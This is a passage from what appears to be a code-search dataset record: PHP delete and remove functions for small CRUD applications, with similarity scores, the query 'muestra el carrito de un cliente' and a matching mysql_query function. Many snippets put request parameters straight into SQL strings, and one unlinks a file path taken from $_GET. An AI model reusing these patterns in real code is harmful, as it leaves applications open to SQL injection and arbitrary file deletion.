$linha['estoque_id'])) {\n //atualiza retirando saldo\n $saldoAtual = saldoByEstoque($linha['produto_id'], $linha['estoque_id']);\n if ($linha['sinal'] == '+') {\n $saldoAtual_acerto = $saldoAtual - $linha['qtd'];\n } else {\n $saldoAtual_acerto = $saldoAtual + $linha['qtd'];\n }\n\n\n saldo_atualiza($linha['produto_id'], $linha['estoque_id'], $saldoAtual_acerto);\n }\n}", "public function EliminarProducto($producto_id)\n {\n $resultado = array();\n $em = $this->getDoctrine()->getManager();\n\n $entity = $this->getDoctrine()->getRepository('IcanBundle:Producto')\n ->find($producto_id);\n\n if ($entity != null) {\n\n //Cotizaciones\n $cotizaciones = $this->getDoctrine()->getRepository('IcanBundle:CotizacionProducto')\n ->ListarCotizaciones($producto_id);\n if (count($cotizaciones) > 0) {\n $resultado['success'] = false;\n $resultado['error'] = \"No se pudo eliminar el producto, porque tiene cotizaciones asociadas\";\n return $resultado;\n }\n\n //Eliminar foto\n $foto_eliminar = $entity->getImagen();\n if ($foto_eliminar != \"\") {\n $dir = 'uploads/productos/';\n if (is_file($dir . $foto_eliminar)) {\n unlink($dir . $foto_eliminar);\n //unlink($dir . \"portada-\" . $foto_eliminar);\n //unlink($dir . \"thumb-\" . $foto_eliminar);\n }\n }\n //Eliminar ficha\n $ficha_eliminar = $entity->getFicha();\n if ($ficha_eliminar != \"\") {\n $dir = 'uploads/productos/';\n if (is_file($dir . $ficha_eliminar)) {\n unlink($dir . $ficha_eliminar);\n }\n }\n\n //Eliminar las imagenes\n $productoimagenes = $this->getDoctrine()->getRepository('IcanBundle:ProductoImagen')\n ->ListarImagenes($producto_id);\n foreach ($productoimagenes as $productoimagen) {\n //Eliminar foto\n $foto_eliminar = $productoimagen->getImagen();\n if ($foto_eliminar != \"\") {\n $dir = 'uploads/productos/';\n if (is_file($dir . $foto_eliminar)) {\n unlink($dir . $foto_eliminar);\n //unlink($dir . \"portada-\" . $foto_eliminar);\n //unlink($dir . \"thumb-\" . $foto_eliminar);\n }\n }\n $em->remove($productoimagen);\n }\n\n //Eliminar los productos relacionados\n $relacionados = $this->getDoctrine()->getRepository('IcanBundle:ProductoRelacion')\n ->ListarRelacionados($producto_id);\n foreach ($relacionados as $relacionado) {\n $em->remove($relacionado);\n }\n\n //Eliminar los productos relacionados\n $productorelacionados = $this->getDoctrine()->getRepository('IcanBundle:ProductoRelacion')\n ->ListarProductosRelacionado($producto_id);\n foreach ($productorelacionados as $relacionado) {\n $em->remove($relacionado);\n }\n\n //Eliminar vistas\n $producto_views = $this->getDoctrine()->getRepository('IcanBundle:ProductoView')\n ->ListarViewsDeProducto($producto_id);\n foreach ($producto_views as $producto_view) {\n $em->remove($producto_view);\n }\n\n //Eliminar descuentos\n $descuentos = $this->getDoctrine()->getRepository('IcanBundle:DescuentoProducto')\n ->ListarDescuentos($producto_id);\n foreach ($descuentos as $descuento) {\n $em->remove($descuento);\n }\n\n $em->remove($entity);\n\n $em->flush();\n $resultado['success'] = true;\n } else {\n $resultado['success'] = false;\n $resultado['error'] = \"No existe el registro solicitado\";\n }\n\n return $resultado;\n }", "public function Eliminar()\n {\n $sentenciaSql = \"DELETE FROM \n detalle_orden \n WHERE \n id_detalle_orden = $this->idDetalleOrden\";\n $this->conn->preparar($sentenciaSql);\n $this->conn->ejecutar();\n }", "public function posteliminar() {\n $model = (new PaisRepository())->Obtener($_POST['id']);\n\n $rh = (new PaisRepository())->Eliminar($model);\n\n print_r(json_encode($rh));\n }", "public function delete($id_rekap_nilai);", "public function excluir(){\n\t\n\t\t$idcomentario = $this->uri->segment(3);\n\t\tif ($idcomentario != NULL):\n\t\t\t$query = $this->Comentarios->get_byid($idcomentario);\n\t\t\tif ($query->num_rows()==1):\n\t\t\t\t$query = $query->row();\n\t\t\t\t$this->Comentarios->do_delete(array('id_comentario'=>$query->id_comentario), FALSE);\n\t\t\tendif;\n\t\telse:\n\t\t\tset_msg('msgerro', 'Escolha um comentario para excluir', 'erro');\n\t\tendif;\n\t\t\tredirect('comentarios/gerenciar');\n\t}", "public function delete($producto);", "public function destroy($id)\n {\n if(DB::table('animais')->where('id_cliente', $id)->count())\n {\n $msg = \"Não é possível excluir este Cliente. \n Existe(m) animais com id(s) ( \";\n\n $animais = DB::table('animais')->where('id_cliente', $id)->get();\n foreach($animais as $animal)\n {\n $msg .= $animal->id_animal.\",\";\n }\n $msg .= \" ) que estão relacionado(s) com este Cliente\";\n \\Session::flash('mensagem', ['msg'=>$msg]);\n return redirect()->route('cliente.remove', $id);\n }\n \n Cliente::find($id)->delete();\n return redirect()->route('cliente.index');\n }", "function deleteComentario($id_evento,$id_comentario){\n $mysqli = Conectar();\n seguridad($id_evento);\n seguridad($id_comentario);\n $mysqli->query(\"Delete From comentarios Where id_evento='$id_evento' and id_comentario='$id_comentario'\");\n }", "public function excluir(){\r\n return (new Database('atividades'))->delete('id = '.$this->id);\r\n }", "public function galeriaExcluir_action()\n\t{\n\t\t$bd = new GaleriasImagens_Model();\n\t\t$id = abs((int) $this->getParam(3));\n\t\t$resultado = $bd->read(\"galeria={$id} AND usuario={$this->_usuario}\");\n\t\tforeach($resultado as $dados){\n\t\t\tunlink('uploads/img_'.$dados['imagem']);\n\t\t\tunlink('uploads/tb_'.$dados['imagem']);\n\t\t\tunlink('uploads/destaque_'.$dados['imagem']);\n\t\t}\n\t\t$bd->delete(\"galeria={$id} AND usuario={$this->_usuario}\");\n\t\t\n\t\t$bd = new Galerias_Model();\n\t\t$bd->delete(\"id={$id} AND usuario={$this->_usuario}\");\n\t\t\n\t\tHTML::certo('Galeria exclu&iacute;da.');\n\t\t//POG Temporário\n\t\tHTML::Imprime('<script>Abrir(\"#abreGaleriasListar\",\"#galerias\");</script>');\n\t}", "public function EliminarProductos()\n{\n\tif($_SESSION['acceso'] == \"administrador\") {\n\n\t\t$sql = \" select codproducto from detalleventas where codproducto = ? \";\n\t\t$stmt = $this->dbh->prepare($sql);\n\t\t$stmt->execute( array(base64_decode($_GET[\"codproducto\"])) );\n\t\t$num = $stmt->rowCount();\n\t\tif($num == 0)\n\t\t{\n\n\t\t\t$sql = \" delete from productos where codproducto = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1,$codproducto);\n\t\t\t$codproducto = base64_decode($_GET[\"codproducto\"]);\n\t\t\t$stmt->execute();\n\n\t\t\t$sql = \" delete from kardexproductos where codproducto = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->bindParam(1,$codproducto);\n\t\t\t$codproducto = base64_decode($_GET[\"codproducto\"]);\n\t\t\t$stmt->execute();\n\n\t\t\theader(\"Location: productos?mesage=1\");\n\t\t\texit;\n\n\t\t}else {\n\n\t\t\theader(\"Location: productos?mesage=2\");\n\t\t\texit;\n\t\t}\n\n\t} else {\n\n\t\theader(\"Location: productos?mesage=3\");\n\t\texit;\n\t}\t\n}", "public function deleteTerritorioAction()\n {\n \n $isAjax = $this->get('Request')->isXMLhttpRequest();\n //var_dump($isAjax);\n $response = new JsonResponse();\n //if($isAjax){\n $idproveedor = $this->get('request')->request->get('idproveedor');\n// $ordenId = $this->get('request')->request->get('ordenId');\n //var_dump($id_territorio);\n \n foreach($idproveedor as $row){\n $em = $this->getDoctrine()->getManager();\n $detalleOrden = $em->getRepository('ERPAdminBundle:InvProveedor')->find($row);\n $detalleOrden->setEstado(0);\n $em->persist($detalleOrden);\n $em->flush();\n \n }\n \n $response->setData(array(\n 'flag' => 0,\n \n )); \n return $response; \n \n \n \n \n }", "public function Eliminar(){\n\t\t\t$enlace = AccesoBD::Conexion();\n\n\t\t\t$sql = \"DELETE FROM denuncia WHERE ID_DENUNCIA = '$this->idDenuncia'\";\n\n\t\t\tif ($enlace->query($sql) !== TRUE) {\n \t\t\techo \"Error al eliminar la denuncia\";\n \t\t\texit();\n\t\t\t}\n\t\t\techo \"Denuncia eliminada\";\n\t\t}", "public function elimiproduc($cod){\n\n $resul=$this->conex->query('DELETE FROM articulos WHERE CODIGO =\"' .$cod .'\"');\n\n return $resul;\n }", "public function destroy(Cliente $cliente)\n {\n //acceder al paquete publico donde estara la ruta.\n $file_path = public_path().'/images/'.$cliente->avatar;\n \\File::delete($file_path);\n\n $cliente->delete();\n return redirect()->route('clientes.index');\n\n// return 'deleted';\n\n //return $cliente;\n }", "public function deleteEntidad(){\n $conexion = new Database();\n\t\tif ($this->codigo){\n $sql = sprintf('DELETE FROM agenda_entidades WHERE entidad_id = %d',\n $this->codigo);\n $conexion->exec( $sql );\n }\n }", "function eliminar_poliza($id_usuario_sesion, $tipo_sesion, $usuario_sesion, $conexion){\n $idcompania = base64_decode($_GET['idcompania']);\n $idpoliza = base64_decode($_GET['idpoliza']);\t\n\tif(isset($_POST['btnEliminar'])) {\n\t\t\n\t\t$update =\"delete from s_poliza where id_poliza = \".$idpoliza.\" and id_compania=\".$idcompania.\" LIMIT 1\";\n\t\t\n\n\t\tif($conexion->query($update)===TRUE){\n\t\t\t//SE METIO A TBLHOMENOTICIAS, VAMOS A VER LA NOTICIA NUEVA\n\t\t\t$mensaje='se elimino el numero de poliza correctamente';\n\t\t\theader('Location: index.php?l=des_poliza&var='.$_GET['var'].'&op=1&msg='.$mensaje);\n\t\t} else{\n\t\t\t$mensaje=\"Hubo un error al ingresar los datos, consulte con su administrador \".$conexion->errno. \": \". $conexion->error;\n\t\t\theader('Location: index.php?l=des_poliza&var='.$_GET['var'].'&op=2&msg='.$mensaje);\n\t\t} \n\t}else {\n\t\t//MOSTRAMOS EL FORMULARIO PARA DAR BAJA COMPANIA\n\t\tmostrar_eliminar_poliza($id_usuario_sesion, $tipo_sesion, $usuario_sesion, $conexion);\n\t}\n\t\n}", "public function excluir()\n {\n $pdo = new \\PDO(DSN, USER, PASSWD);\n //cria sql\n $sql = \"DELETE FROM EquipeDiscipulos WHERE discipuloId = ?\n AND equipeId = ?\n \";\n\n //prepara sql\n $stm = $pdo->prepare($sql);\n //trocar valores\n $stm->bindParam(1, $this->discipuloId );\n $stm->bindParam(2, $this->equipeId );\n\n $resposta = $stm->execute();\n\n $erro = $stm->errorInfo();\n\n //fechar conexão\n $pdo = null ;\n\n return $resposta;\n\n }", "public function excluirCliente($reg){\n //$conexao = $c->conexao();\n\n $sql = \"DELETE FROM tbclientes WHERE reg = '$reg' \"; \n \n $mensagem = \"O Usuário \".$_SESSION['email'].\" excluiu o Cliente com o REG $reg \";\n $this->salvaLog($mensagem);\n\n return $this->conexao->query($sql); \n \n\n }", "public static function deletaProdutoCarrinho(){\n $conn = \\App\\lib\\Database\\Conexao::connect();\n $expPro = explode(';',self::$carrinho->produto_id);\n $expQuant = explode(';',self::$carrinho->quantidade);\n unset($expPro[self::$posicao]);\n unset($expQuant[self::$posicao]);\n\n //VERIFICA SE TEM PRODUTOS NO CARRINHO\n if($expPro and $expQuant !== ''){\n $impPro = implode(';',$expPro);\n $impQuant = implode(';',$expQuant);\n $query = 'UPDATE carrinhos SET produto_id=:pro, quantidade=:qnt, idCliente=:idC WHERE id=:id';\n $stmt = $conn->prepare($query);\n $stmt->bindValue(1,$impPro);\n $stmt->bindValue(2,$impQuant);\n $stmt->bindValue(3,self::$carrinho->idCliente);\n $stmt->bindValue(4,self::$carrinho->id);\n $stmt->execute();\n if($stmt->rowcount()){\n return true;\n }throw new \\Exception(\"Erro ao Deletar Produto\");\n\n //SE O CARRINHO ESTIVER VAZIO SERA DELETADO\n }else{\n $query = 'DELETE FROM carrinhos WHERE carrinhos.id LIKE :id';\n $stmt = $conn->prepare($query);\n $stmt->bindValue(1,self::$carrinho->id);\n $stmt->execute();\n if($stmt->rowcount()){\n $_SESSION['user']['carrinhoId'] = NULL;\n\n return true;\n }throw new \\Exception(\"Erro ao Deletar Carrinho\");\n }\n }", "public function eliminar()\n {\n // Comprobar si esta logeado como admin\n if( isset($_SESSION['admin']) ){\n\n // Capturar el id enviado por GET\n $id = $_GET['id'];\n\n // Comprobar si no esta siendo utilizado en un reporte\n $comprobarForanea = Reporte::donde('tipo_reporte_id', $id)\n ->resultado();\n\n // Encontra el tipo de reporte por el id y capturarlo\n $tipoReporte = TipoReporte::encontrarPorID($id);\n\n\n if ( empty($comprobarForanea) ) {\n\n // Eliminar el tipo de reporte\n $tipoReporte->eliminar();\n\n\n // Guardar un mensaje de que se elimino correctamente en una cookie\n setcookie('mensaje', \"Se elimino correctamente el tipo de reporte ($tipoReporte->reporte)\", time() + 10, '/' );\n\n } else {\n\n // Guardar un mensaje de que se no se pudo eliminar\n setcookie('mensaje_error', \"El tipo de reporte ($tipoReporte->reporte) esta siendo utilizado en un reporte\", time() + 10, '/' );\n }\n\n\n // Redirigir a la tabla con todos los tipos de reporte\n header('Location: ../reportes/tipos_reporte');\n\n } else {\n\n // Redirigir al perfil\n header('Location: ../perfil');\n }\n }", "static public function ctrEliminarRepuesto(){\n\n\t\tif(isset($_GET[\"idProducto\"])){\n\n\t\t\t$tabla =\"repuestos\";\n\t\t\t$datos = $_GET[\"idProducto\"];\n\n\t\t\tif($_GET[\"imagen\"] != \"\" && $_GET[\"imagen\"] != \"vistas/img/productos/default/anonymous.png\"){\n\n\t\t\t\tunlink($_GET[\"imagen\"]);\n\t\t\t\trmdir('vistas/img/productos/'.$_GET[\"codigo\"]);\n\n\t\t\t}\n\n\t\t\t$respuesta = ModeloProductos::mdlEliminarRepuesto($tabla, $datos);\n\n\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\techo'<script>\n\n\t\t\t\tswal({\n\t\t\t\t\t type: \"success\",\n\t\t\t\t\t title: \"El producto ha sido borrado correctamente\",\n\t\t\t\t\t showConfirmButton: true,\n\t\t\t\t\t confirmButtonText: \"Cerrar\"\n\t\t\t\t\t }).then(function(result){\n\t\t\t\t\t\t\t\tif (result.value) {\n\n\t\t\t\t\t\t\t\twindow.location = \"productos\";\n\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t})\n\n\t\t\t\t</script>';\n\n\t\t\t}\t\t\n\t\t}\n\n\n\t}", "public function deleteproducto()\n\t{\n\n\t\t$idpedido = $_SESSION['idPedido'];\n\t\t$idproducto = $_POST['id'];\n\n\n\t\t$this->query(\"DELETE FROM producto_has_pedido WHERE Pedido_idPedido=$idpedido and Producto_idProductos=$idproducto\");\n\t\t$this->execute();\n\t}", "public function EliminarCaja()\n\t\t{\n\n\t\t\t$sql = \" select codcaja from ventas where codcaja = ? \";\n\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t$stmt->execute( array(base64_decode($_GET[\"codcaja\"])) );\n\t\t\t$num = $stmt->rowCount();\n\t\t\tif($num == 0)\n\t\t\t{\n\n\t\t\t\t$sql = \" delete from cajas where codcaja = ? \";\n\t\t\t\t$stmt = $this->dbh->prepare($sql);\n\t\t\t\t$stmt->bindParam(1,$codcaja);\n\t\t\t\t$codcaja = base64_decode($_GET[\"codcaja\"]);\n\t\t\t\t$stmt->execute();\n\n\t\t\t\theader(\"Location: cajas?mesage=1\");\n\t\t\t\texit;\n\n\t\t\t}else {\n\n\t\t\t\theader(\"Location: cajas?mesage=2\");\n\t\t\t\texit;\n\t\t\t}\n\n\t\t}", "public function eliminar($id)\n {\n }", "public function eliminar($id)\n {\n }", "public function eliminar($id)\n {\n }", "public function eliminar() {\n //$this->delete();\n $campo_fecha_eliminacion = self::DELETED_AT;\n $this->$campo_fecha_eliminacion = date('Y-m-d H:i:s');\n $this->status = 0;\n $this->save();\n }", "public static function eliminarServicio($id_servicio){\n \n $eliminar = Neo4Play::client()->getNode($id_servicio);\t\t\n $eliminar->delete();\t\n \n\t}", "public function excluir(){\n\t\tglobal $tabela_links;\n\t\t$consulta = new conexao();\n\t\t$endereco = $consulta->sanitizaString($this->end_link);\n\t\t$funcionalidade_tipo = (int) $this->funcionalidade_tipo;\n\t\t$funcionalidade_id = (int) $this->funcionalidade_id;\n\t\t//echo(\"$endereco\t $funcionalidade_tipo\t$funcionalidade_id\");\n\t\t$consulta->connect();\n\t\t$consulta->solicitar(\"DELETE FROM $tabela_links \n\t\t\t\t\t\t\t\tWHERE endereco = '$endereco'\n\t\t\t\t\t\t\t\tAND funcionalidade_tipo\t= '$funcionalidade_tipo'\n\t\t\t\t\t\t\t\tAND funcionalidade_id\t= '$funcionalidade_id'\");\n\t\t\n\t\n\t}", "public function eliminar()\n\t{\n\t\t$idestado = $_POST['idestado'];\n\t\t//en viamos por parametro el id del estado a eliminar\n\t\tEstado::delete($idestado);\n\t}", "public function eliminarProducto($codigo){\r\n //Preparamos la conexion a la bdd:\r\n $pdo=Database::connect();\r\n $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\r\n $sql=\"delete from producto where codigo=?\";\r\n $consulta=$pdo->prepare($sql);\r\n //Ejecutamos la sentencia incluyendo a los parametros:\r\n $consulta->execute(array($codigo));\r\n Database::disconnect();\r\n }", "protected\n function eliminar($id)\n {\n }", "public function eliminar($id)\n {\n //\n }", "public function eliminar($id)\n {\n //\n }", "function eliminarHerrajeaccesorio(){\n\t\t$this->procedimiento='snx.ft_herrajeaccesorio_ime';\n\t\t$this->transaccion='SNX_HAC_ELI';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('id_herrajeaccesorio','id_herrajeaccesorio','int4');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function delete() {\n $conexion = StorianDB::connectDB();\n $borrado = \"DELETE FROM cuento WHERE id=\\\"\".$this->id.\"\\\"\";\n $conexion->exec($borrado);\n }", "function deletePreDetalle2()\n {\n $sql='DELETE FROM predetalle WHERE idPreDetalle = ?';\n $params=array($this->idPre);\n return Database::executeRow($sql, $params);\n }", "public function eliminac($id)\n {\n clientes::find($id)->delete();\n $titulo = \"Desactivar cliente\";\n $mensaje1 = \"El cliente a sido desactivado correctamente\";\n return view ('cliente.mensaje1')\n ->with('titulo',$titulo)\n ->with('mensaje1',$mensaje1);\n \n }", "protected function eliminar_cliente_modelo ($codigo){\n\t\t$query=mainModel::conectar()->prepare(\"DELETE FROM cliente WHERE CuentaCodigo =:Codigo\");\n\t\t$query->bindParam(\":Codigo\",$codigo);\n\t\t$query->execute();\n\t\treturn $query;\n\t}", "public function delete($proveedor);", "function excluirPessoa(){\r\n $banco = conectarBanco();\r\n $sql = \"DELETE FROM pessoa WHERE id = '{$_POST[\"id\"]}'\";\r\n $banco->query($sql); // Passa a query fornecida em $sql para o banco de dados\r\n $banco->close(); // Fecha o banco de dados\r\n voltarMenu(); // Volta para a pagina inicial da agenda\r\n}", "public function eliminarAction()\n {\n $id = (int) $this->getRequest()->getParam(\"id\",0);\n //passo page per quedarnos a la pàgina d'on venim\n $page = (int) $this->getRequest()->getParam(\"page\",0);\n //passo d'on bé per redireccionar després\n $controller = $this->getRequest()->getparam(\"c\",0);\n \n $this->_galeriaDoctrineDao->eliminar($id);\n \n if($controller ==='index'){\n \n $this->_redirect('/admin/index/index/a/2');\n }else{\n $this->_redirect('/admin/galeria/listado/page/'.$page.'/a/1');\n }\n }" ]
[ "0.7065953", "0.6748302", "0.67217517", "0.6690003", "0.6649191", "0.6579007", "0.65606564", "0.65549356", "0.6548986", "0.6543675", "0.65331125", "0.65161234", "0.65058947", "0.6495071", "0.6491683", "0.6472106", "0.6452594", "0.64426535", "0.63995934", "0.63963586", "0.63959616", "0.63931465", "0.6382837", "0.63810027", "0.63802606", "0.6373373", "0.63711345", "0.6334063", "0.63242775", "0.63224566", "0.6316923", "0.63139385", "0.63045025", "0.6300542", "0.62888914", "0.6280478", "0.62499875", "0.62423456", "0.62367296", "0.6235012", "0.62327904", "0.623049", "0.62277913", "0.6214808", "0.6208377", "0.62046987", "0.6203865", "0.6201903", "0.6197775", "0.6195221", "0.6189197", "0.61817974", "0.6166384", "0.61627537", "0.6161785", "0.6147497", "0.61403966", "0.61275715", "0.6122982", "0.6119322", "0.61164415", "0.61162823", "0.61137164", "0.61098796", "0.6107056", "0.6105647", "0.6091928", "0.6091817", "0.608984", "0.6084462", "0.6075242", "0.6073629", "0.6072479", "0.6066033", "0.6044148", "0.60401523", "0.6033583", "0.60266775", "0.60253966", "0.6016174", "0.6005625", "0.6003081", "0.6003081", "0.6003081", "0.6003052", "0.60017204", "0.60014904", "0.6000867", "0.5995253", "0.5994185", "0.59927785", "0.59927785", "0.5992054", "0.5985537", "0.5982543", "0.5981624", "0.59783477", "0.5978326", "0.5974215", "0.59724176" ]
0.62719136
36
muestra el carrito de un cliente
function Muestra($CardCode){ if($this->con->conectar()==true){ return mysql_query("SELECT * FROM `Carrito` WHERE `CardCode` = '" .$CardCode. "'"); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getCliente();", "public function getcliente()\r\n {\r\n return $this->cliente;\r\n }", "public function getNomeCliente(){/*Retorna o nome_cliente*/\n\t\t\treturn $this-> nome_cliente;\n\t\t}", "public function getIdcliente() {\n\t\t\t\treturn $this->id_cliente ?? \"Id do Cliente não solicitado !!\";\n\t\t\t}", "function getIdCliente()\r\n\t {\r\n\t\t return $this->id_cliente;\r\n\t }", "public function getIdCliente(){\r\n return $this->idCliente;\r\n }", "public function getCliente()\n {\n return $this->cliente;\n }", "public function getNom_client()\n {\n return $this->nom_client;\n }", "function altaCliente ($cliente){\r\n $this->clientes[] = $cliente; /// Este es el ejemplo de altaCliente que ha echo Jesús.\r\n }", "function Listar_Clientes()\n\t {\n\t\tlog_message('INFO','#TRAZA| CLIENTES | Listar_Clientes() >> ');\n\t\t$data['list'] = $this->Clientes->Listar_Clientes();\n return $data;\n\t }", "public function getClientes_idclient(){\n return $this->clientes_idclient;\n }", "public function getidcliente(){\n\t\treturn $this->_idcliente;\n\t}", "function listarCliente(){\n\t\t$this->procedimiento='rec.ft_cliente_sel';\n\t\t$this->transaccion='REC_CLI_SEL';\n\t\t$this->tipo_procedimiento='SEL';//tipo de transaccion\n\t\t\t\t\n\t\t//Definicion de la lista del resultado del query\n\t\t$this->captura('id_cliente','int4');\n\t\t$this->captura('genero','varchar');\n\t\t$this->captura('ci','varchar');\n\t\t$this->captura('email','varchar');\n\t\t$this->captura('email2','varchar');\n\t\t$this->captura('direccion','varchar');\n\t\t$this->captura('celular','varchar');\n\t\t$this->captura('nombre','varchar');\n\t\t$this->captura('lugar_expedicion','varchar');\n\t\t$this->captura('apellido_paterno','varchar');\n\t\t$this->captura('telefono','varchar');\n\t\t$this->captura('ciudad_residencia','varchar');\n\t\t$this->captura('id_pais_residencia','int4');\n\t\t$this->captura('nacionalidad','varchar');\n\t\t$this->captura('barrio_zona','varchar');\n\t\t$this->captura('estado_reg','varchar');\n\t\t$this->captura('apellido_materno','varchar');\n\t\t$this->captura('id_usuario_ai','int4');\n\t\t$this->captura('fecha_reg','timestamp');\n\t\t$this->captura('usuario_ai','varchar');\n\t\t$this->captura('id_usuario_reg','int4');\n\t\t$this->captura('fecha_mod','timestamp');\n\t\t$this->captura('id_usuario_mod','int4');\n\t\t$this->captura('usr_reg','varchar');\n\t\t$this->captura('usr_mod','varchar');\n\n $this->captura('nombre_completo1','text');\n $this->captura('nombre_completo2','text');\n\t\t$this->captura('pais_residencia','varchar');\n\t\t//$this->captura('nombre','varchar');\n\n\n\n\n\t\t\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\t\t\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "public function getNomClient() {\n return $this->nomClient;\n }", "public function listar_clientes(){\n\t\t$sql=\"SELECT idpersona, tipo_persona, nombre, tipo_documento, num_documento, contacto, direccion, telefono, email FROM persona\n\t\tWHERE tipo_persona LIKE 'Cliente'\";\n\t\treturn ejecutarConsulta($sql);\n\t}", "public function ctlBuscaClientes(){\n\n\t\t$respuesta = Datos::mdlClientes(\"clientes\");\n\n\t\tforeach ($respuesta as $row => $item){\n\t\t\techo '<option value=\"'.$item[\"nombre\"].'\">'.$item[\"nombre\"].'</option>';\n\t\t}\n\t}", "public function listaCliente() {\n\n return $clientes; // array de clientes\n }", "public function mostrarClientes() {\n //String $retorno\n //Array Cliente $col\n $retorno = \"\";\n $col = $this->getColClientes();\n for ($i = 0; $i < count($col); $i++) {\n $retorno .= $col[$i] . \"\\n\";\n $retorno .= \"----------------------------\\n\";\n }\n return $retorno;\n }", "function _ConsultarClientes()\n\t\t{\n\t\t\t$query='\n\t\t\t\tSELECT\n\t\t\t\tclientes.id,\n\t\t\t\tclientes.nb_cliente,\n\t\t\t\tclientes.nb_apellidos,\n\t\t\t\tclientes.de_email,\n\t\t\t\tclientes.num_celular,\n\t\t\t\tusuarios.nb_nombre as \"Ins_nombre\", \n\t\t\t\tusuarios.nb_apellidos as \"Ins_apellido\" \n\t\t\t\tFROM sgclientes clientes\n\t\t\t\tleft join sgusuarios usuarios on clientes.id_usuario_registro=usuarios.id\n\t\t\t\twhere clientes.sn_activo=1\n\t\t\t\tORDER BY clientes.id ASC\n\t\t\t\n\t\t\t';\n\t\t\t$clientes = $this->EjecutarTransaccionAllNoParams($query);\n\t\t\treturn $clientes;\n\t\t}", "public function getCodCliente()\n {\n return $this->codCliente;\n }", "public function cliente_get(){\n\t\t$cliente_id = $this->uri->segment(3);\n\n\t\t//validar el cliente id\n\t\tif (!isset($cliente_id)) {\n\t\t\t$respuesta = array(\n\t\t\t\t'err'=>TRUE,\n\t\t\t\t'mensaje'=>'Es necesario el id del cliente'\n\t\t\t);\n\n\t\t\t$this->response($respuesta, REST_Controller::HTTP_BAD_REQUEST);\n\t\t}\n\n\t\t//lo paso al modelo\n\t\t$cliente = $this->Cliente_model->get_cliente($cliente_id);\n\n\t\t//cargo, valido y lo devuelto para que se muestre\n\t\tif(isset($cliente)){\n\t\t\t$respuesta=array(\n\t\t\t\t'err'=>FALSE,\n\t\t\t\t'mensaje'=>'Registro cargado correctamente',\n\t\t\t\t'cliente'=>$cliente\n\t\t\t);\n\n\t\t\t$this->response($respuesta);\n\t\t}else{\n\t\t\t$respuesta=array(\n\t\t\t\t'err'=>TRUE,\n\t\t\t\t'mensaje'=>'El registro con el id '.$cliente_id.', no exste',\n\t\t\t\t'cliente'=>null\n\t\t\t);\n\t\t\t$this->response($respuesta, REST_Controller::HTTP_NOT_FOUND);\n\t\t}\n\t}", "public function getNomeCliente()\n {\n return $this->nomeCliente;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function getCodigoCliente()\n {\n return $this->codigoCliente;\n }", "public function getAplicarDescontoCliente()\n {\n return $this->aplicar_desconto_cliente;\n }", "public function getIdCliente()\n {\n return $this->idCliente;\n }", "function leerClientes(){\n \n try{\n $stmt = $this->dbh->prepare(\"SELECT c.idClienteTg, c.NombreCte,c.RFCCte, c.direccion, c.ciudad,c.estado, c.email, c.telefono, c.numTg,r.nombreReferencia FROM referencias r join tarjetas_clientes c on r.idreferencia=c.referenciaId where c.status=1\");\n // Especificamos el fetch mode antes de llamar a fetch()\n $stmt->execute();\n $clientes = $stmt->fetchAll(PDO::FETCH_NUM);\n } catch (PDOException $e){\n $clientes=array(\"status\"=>\"0\",\"mensaje\"=>$e->getMessage());\n }\n \n return $clientes;\n }", "public function getcliente() {\n \n $procedure = \"call sp_appweb_pt_getclienteinterno()\";\n\t\t$query = $this->db-> query($procedure);\n \n if ($query->num_rows() > 0) {\n\n $listas = '<option value=\"0\" selected=\"selected\"></option>';\n \n foreach ($query->result() as $row)\n {\n $listas .= '<option value=\"'.$row->CCLIENTE.'\">'.$row->RAZONSOCIAL.'</option>'; \n }\n return $listas;\n }{\n return false;\n }\t\n }", "function getCliente($filter) {\n $where = \" WHERE Id_cliente LIKE :Id_cliente OR Nombre LIKE :Nombre OR Apellido_paterno LIKE :Apellido_paterno\";\n $array = array(\n 'Id_cliente' => '%' . $filter . '%',\n 'Nombre' => '%' . $filter . '%',\n 'Apellido_paterno' => '%' . $filter . '%',\n );\n\n $columns = \"Id_cliente, Nombre, Apellido_paterno, Apellido_materno, Email, Edad, Fecha_inicio, Folio\";\n //Retorname el valor de acuerdo a los parametros que estan arriba\n return $this->db->select1($columns, \"clientes\", $where, $array);\n }", "public function getNomeFantasiaCliente()\n {\n return $this->nomeFantasiaCliente;\n }", "public function ClientesPorId()\n{\n\tself::SetNames();\n\t$sql = \" select * from clientes where codcliente = ? \";\n\t$stmt = $this->dbh->prepare($sql);\n\t$stmt->execute( array(base64_decode($_GET[\"codcliente\"])) );\n\t$num = $stmt->rowCount();\n\tif($num==0)\n\t{\n\t\techo \"\";\n\t}\n\telse\n\t{\n\t\tif($row = $stmt->fetch(PDO::FETCH_ASSOC))\n\t\t\t{\n\t\t\t\t$this->p[] = $row;\n\t\t\t}\n\t\t\treturn $this->p;\n\t\t\t$this->dbh=null;\n\t\t}\n\t}", "function listarClienteLibro()\n {\n $this->procedimiento='rec.ft_cliente_sel';\n $this->transaccion='REC_RELIBRO_SEL';\n $this->tipo_procedimiento='SEL';//tipo de transaccion\n\n $this->setParametro('id_oficina_registro_incidente','id_oficina_registro_incidente','integer');\n $this->setParametro('fecha_ini','fecha_ini','date');\n $this->setParametro('fecha_fin','fecha_fin','date');\n $this->setCount(false);\n\n $this->captura('id_reclamo','int4');\n $this->captura('nro_frd','varchar');\n $this->captura('correlativo_preimpreso_frd','int4');\n $this->captura('fecha_hora_incidente','timestamp');\n $this->captura('fecha_hora_recepcion','timestamp');\n 